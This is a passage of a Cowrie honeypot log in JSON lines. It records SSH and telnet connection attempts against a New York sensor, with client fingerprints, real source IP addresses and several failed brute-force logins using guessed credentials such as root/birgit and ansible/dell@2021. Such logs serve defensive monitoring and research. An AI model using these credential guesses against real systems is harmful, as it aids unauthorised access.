 client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:44.800712Z","src_ip":"156.227.233.77","session":"de7284fe55c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":41288,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8c32a483218","protocol":"telnet","message":"New connection: 62.171.135.55:41288 (159.203.135.109:23) [session: a8c32a483218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:44.860294Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"birgit","message":"login attempt [root/birgit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:45.490768Z","src_ip":"156.227.233.77","session":"de7284fe55c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":43558,"dst_ip":"159.203.135.109","dst_port":23,"session":"fee6216cd969","protocol":"telnet","message":"New connection: 62.171.135.55:43558 (159.203.135.109:23) [session: fee6216cd969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:45.679625Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":44022,"dst_ip":"159.203.135.109","dst_port":23,"session":"e46ec4788ba7","protocol":"telnet","message":"New connection: 62.171.135.55:44022 (159.203.135.109:23) [session: e46ec4788ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:45.805055Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:46.657395Z","src_ip":"156.227.233.77","session":"de7284fe55c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.50194525718689,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:47.228255Z","src_ip":"62.171.135.55","session":"cb00c5f32ad3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":58148,"dst_ip":"159.203.135.109","dst_port":23,"session":"c77d902b6a74","protocol":"telnet","message":"New connection: 62.171.135.55:58148 (159.203.135.109:23) [session: c77d902b6a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:50.742037Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"VirtualPrivateServer","message":"login attempt [root/VirtualPrivateServer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:51.065745Z","src_ip":"213.209.159.158","session":"281814a63519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":35088,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2672706f636","protocol":"telnet","message":"New connection: 62.171.135.55:35088 (159.203.135.109:23) [session: c2672706f636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:52.731699Z"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:54.699179Z","src_ip":"213.209.159.158","session":"281814a63519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":50184,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5cf5f917a12","protocol":"ssh","message":"New connection: 213.209.159.158:50184 (159.203.135.109:22) [session: f5cf5f917a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:54.777383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:56.985655Z","src_ip":"213.209.159.158","session":"f5cf5f917a12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:56.990562Z","src_ip":"213.209.159.158","session":"f5cf5f917a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.641130924224854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:59.210588Z","src_ip":"62.171.135.55","session":"2dba6448d61b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.614618062973022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:59.257857Z","src_ip":"62.171.135.55","session":"f8f8b6b6840d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965845346450806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:00.103714Z","src_ip":"62.171.135.55","session":"2aa14c1725cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.154898643493652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:01.183623Z","src_ip":"62.171.135.55","session":"09de7578a94c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.161109685897827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:01.274835Z","src_ip":"62.171.135.55","session":"a3e71c5be762","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":33762,"dst_ip":"159.203.135.109","dst_port":23,"session":"34d4b3395a9e","protocol":"telnet","message":"New connection: 62.171.135.55:33762 (159.203.135.109:23) [session: 34d4b3395a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:01.304090Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35898,"dst_ip":"159.203.135.109","dst_port":22,"session":"323fd59a754b","protocol":"ssh","message":"New connection: 159.203.92.129:35898 (159.203.135.109:22) [session: 323fd59a754b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:02.888755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:02.893829Z","src_ip":"159.203.92.129","session":"323fd59a754b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:02.898376Z","src_ip":"159.203.92.129","session":"323fd59a754b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"dell@2021","message":"login attempt [ansible/dell@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:02.910353Z","src_ip":"159.203.92.129","session":"323fd59a754b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:03.916415Z","src_ip":"159.203.92.129","session":"323fd59a754b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":41636,"dst_ip":"159.203.135.109","dst_port":23,"session":"031f122fbf00","protocol":"telnet","message":"New connection: 62.171.135.55:41636 (159.203.135.109:23) [session: 031f122fbf00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:03.995486Z"}
{"eventid":"cowrie.session.closed","duration":30.757303714752197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:05.221933Z","src_ip":"62.171.135.55","session":"0077931ac59f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90259075164795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:05.395658Z","src_ip":"62.171.135.55","session":"b76e12efada3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.792393922805786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:06.135380Z","src_ip":"62.171.135.55","session":"b44bce5f361c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"volleyball","message":"login attempt [root/volleyball] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:06.157237Z","src_ip":"213.209.159.158","session":"f5cf5f917a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.680026292800903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:06.474345Z","src_ip":"62.171.135.55","session":"c5cf3101e6e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.533596515655518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:07.074563Z","src_ip":"62.171.135.55","session":"5be668f2427e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00202202796936,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:08.222875Z","src_ip":"45.181.100.135","session":"50a3bda08571","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":54624,"dst_ip":"159.203.135.109","dst_port":23,"session":"33e07347ab46","protocol":"telnet","message":"New connection: 62.171.135.55:54624 (159.203.135.109:23) [session: 33e07347ab46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:08.450242Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":54698,"dst_ip":"159.203.135.109","dst_port":23,"session":"d61bf6b0b901","protocol":"telnet","message":"New connection: 62.171.135.55:54698 (159.203.135.109:23) [session: d61bf6b0b901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:08.475561Z"}
{"eventid":"cowrie.session.closed","duration":30.721651792526245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:09.346015Z","src_ip":"62.171.135.55","session":"b55eab1469f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.983864784240723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:09.350949Z","src_ip":"62.171.135.55","session":"5d057e0bd54c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:09.498411Z","src_ip":"213.209.159.158","session":"f5cf5f917a12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":19630,"dst_ip":"159.203.135.109","dst_port":22,"session":"2401f4a669f9","protocol":"ssh","message":"New connection: 213.209.159.158:19630 (159.203.135.109:22) [session: 2401f4a669f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:09.577646Z"}
{"eventid":"cowrie.session.closed","duration":31.00013542175293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:09.863908Z","src_ip":"62.171.135.55","session":"b4b72f2b514e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":33576,"dst_ip":"159.203.135.109","dst_port":23,"session":"760b8db29bc3","protocol":"telnet","message":"New connection: 62.171.135.55:33576 (159.203.135.109:23) [session: 760b8db29bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:10.964813Z"}
{"eventid":"cowrie.session.closed","duration":31.031694650650024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:11.116507Z","src_ip":"62.171.135.55","session":"65097d921279","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.917070388793945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:11.158383Z","src_ip":"62.171.135.55","session":"28185fb4eb23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81492590904236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:11.350053Z","src_ip":"62.171.135.55","session":"7c29eeac35d1","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:11.704194Z","src_ip":"213.209.159.158","session":"2401f4a669f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:11.709099Z","src_ip":"213.209.159.158","session":"2401f4a669f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.249950885772705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:15.110079Z","src_ip":"62.171.135.55","session":"a8c32a483218","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.554654359817505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:15.168828Z","src_ip":"62.171.135.55","session":"78fe90b83578","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5191433429718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:16.198648Z","src_ip":"62.171.135.55","session":"fee6216cd969","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21273398399353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:17.017657Z","src_ip":"62.171.135.55","session":"e46ec4788ba7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.357627868652344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:21.099546Z","src_ip":"62.171.135.55","session":"c77d902b6a74","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vE123456","message":"login attempt [root/vE123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:21.480529Z","src_ip":"213.209.159.158","session":"2401f4a669f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.44","src_port":34336,"dst_ip":"10.17.0.5","dst_port":23,"session":"7abbab69bf4e","protocol":"telnet","message":"New connection: 160.119.76.44:34336 (10.17.0.5:23) [session: 7abbab69bf4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:22.039676Z"}
{"eventid":"cowrie.session.closed","duration":0.08551478385925293,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:22.125086Z","src_ip":"160.119.76.44","session":"7abbab69bf4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":37458,"dst_ip":"159.203.135.109","dst_port":23,"session":"a128de71d066","protocol":"telnet","message":"New connection: 62.171.135.55:37458 (159.203.135.109:23) [session: a128de71d066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:22.567611Z"}
{"eventid":"cowrie.session.closed","duration":30.405394792556763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:23.136960Z","src_ip":"62.171.135.55","session":"c2672706f636","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:24.599802Z","src_ip":"213.209.159.158","session":"2401f4a669f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":47518,"dst_ip":"159.203.135.109","dst_port":22,"session":"d77cc60429f6","protocol":"ssh","message":"New connection: 213.209.159.158:47518 (159.203.135.109:22) [session: d77cc60429f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:24.678520Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":45964,"dst_ip":"159.203.135.109","dst_port":23,"session":"494517ae229b","protocol":"telnet","message":"New connection: 62.171.135.55:45964 (159.203.135.109:23) [session: 494517ae229b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:25.589562Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":48020,"dst_ip":"159.203.135.109","dst_port":23,"session":"5922c56e42cb","protocol":"telnet","message":"New connection: 62.171.135.55:48020 (159.203.135.109:23) [session: 5922c56e42cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:26.179913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:26.883234Z","src_ip":"213.209.159.158","session":"d77cc60429f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:26.887152Z","src_ip":"213.209.159.158","session":"d77cc60429f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":38022,"dst_ip":"159.203.135.109","dst_port":22,"session":"fab72aac164e","protocol":"ssh","message":"New connection: 43.159.177.40:38022 (159.203.135.109:22) [session: fab72aac164e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:31.050277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:31.055044Z","src_ip":"43.159.177.40","session":"fab72aac164e","protocol":"ssh"}
